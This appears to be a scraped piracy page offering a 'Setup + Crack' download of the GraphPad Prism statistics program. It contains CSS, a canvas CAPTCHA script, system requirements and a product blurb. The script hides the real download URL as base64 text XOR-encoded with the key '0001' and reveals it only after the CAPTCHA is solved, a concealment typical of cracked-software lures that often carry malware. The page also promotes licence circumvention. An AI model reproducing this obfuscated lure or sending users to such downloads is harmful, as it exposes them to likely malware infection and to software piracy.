Poster
🧾 Hash-sum — 1c9f16372e8ace1b255ee8ae0be0905d


🗓 Updated on: 2025-12-12

body { font-family: ‘Segoe UI’, sans-serif; margin: 30px; }
canvas { border: 1px solid #ccc; border-radius: 6px; background: #f3f3f3; margin-top: 5px; }
input[type=”text”] {
padding: 6px;
margin-top: 10px;
font-size: 15px;
width: 140px;
}
button {
padding: 6px 12px;
margin-top: 10px;
font-size: 14px;
cursor: pointer;
}
#download-link {
display: inline-block;
margin-top: 12px;
padding: 10px 20px;
background-color: #0078D7;
color: white;
text-decoration: none;
border-radius: 6px;
font-weight: bold;
font-size: 14px;
pointer-events: none;
opacity: 0.5;
cursor: default;
}
#download-link.active {
pointer-events: auto;
opacity: 1;
cursor: pointer;
}
#captcha-msg {
margin-top: 8px;
font-size: 14px;
}


⬇ Download Setup + Crack

function xor(str, key) {
let result = ”;
for (let i = 0; i < str.length; i++) {
result += String.fromCharCode(str.charCodeAt(i) ^ key.charCodeAt(i % key.length));
}
return result;
}

const xorKey = "0001";
const encodedData = "WEREQUMKHx5DVVVVHUBVVEIeWVJFH1RdHkBYQQ9UXAx6ZwVZUmdlXWgDan5kWwV+aAB6c2R2CQV9SQVdVXdlDA==";
let captchaValue = "";

function generateCaptcha() {
const canvas = document.getElementById('captchaCanvas');
const ctx = canvas.getContext('2d');
ctx.clearRect(0, 0, canvas.width, canvas.height);

captchaValue = '';
const chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
for (let i = 0; i < 5; i++) {
captchaValue += chars.charAt(Math.floor(Math.random() * chars.length));
}
for (let i = 0; i < 15; i++) {
ctx.strokeStyle = `rgba(${Math.random()*255},${Math.random()*255},${Math.random()*255},0.4)`;
ctx.beginPath();
ctx.moveTo(Math.random() * 140, Math.random() * 40);
ctx.lineTo(Math.random() * 140, Math.random() * 40);
ctx.stroke();
}
ctx.font = '24px Segoe UI';
ctx.fillStyle = '#000';
for (let i = 0; i < captchaValue.length; i++) {
const x = 20 + i * 20;
const y = 28 + Math.random() * 5;
const angle = (Math.random() – 0.5) * 0.4;
ctx.save();
ctx.translate(x, y);
ctx.rotate(angle);
ctx.fillText(captchaValue[i], 0, 0);
ctx.restore();
}
}

function checkCaptcha() {
const input = document.getElementById('captchaInput').value.trim().toUpperCase();
const msg = document.getElementById('captcha-msg');
const link = document.getElementById('download-link');
if (input === captchaValue) {
msg.style.color = 'green';
msg.textContent = '✅ CAPTCHA passed. Link unlocked.';
const decoded = xor(atob(encodedData), xorKey);
let url = new URL(decoded);
let dl = url.searchParams.get('dl');
let decodedValue = atob(dl);
decodedValue = decodedValue.replace(/%name%/g, 'graphpad_corporate');
let newDl = btoa(decodedValue);
url.searchParams.set('dl', newDl);
link.href = url.toString();
link.classList.add('active');
} else {
msg.style.color = 'red';
msg.textContent = '❌ Incorrect CAPTCHA. Try again.';
link.classList.remove('active');
link.href = '#';
generateCaptcha();
}
}

generateCaptcha();

  • Processor: 1 GHz, 2-core minimum
  • RAM: At least 4 GB
  • Disk space: 64 GB required

A biostatistics and curve fitting application that can help biologists and researchers analyze large data sets and generate comprehensive statistics. GraphPad Prism is a robust application packed with a full-featured, comprehensive biostatistics features that aims to assist biologists and researchers in analyzing complex sets of data and generating understandable graphs.

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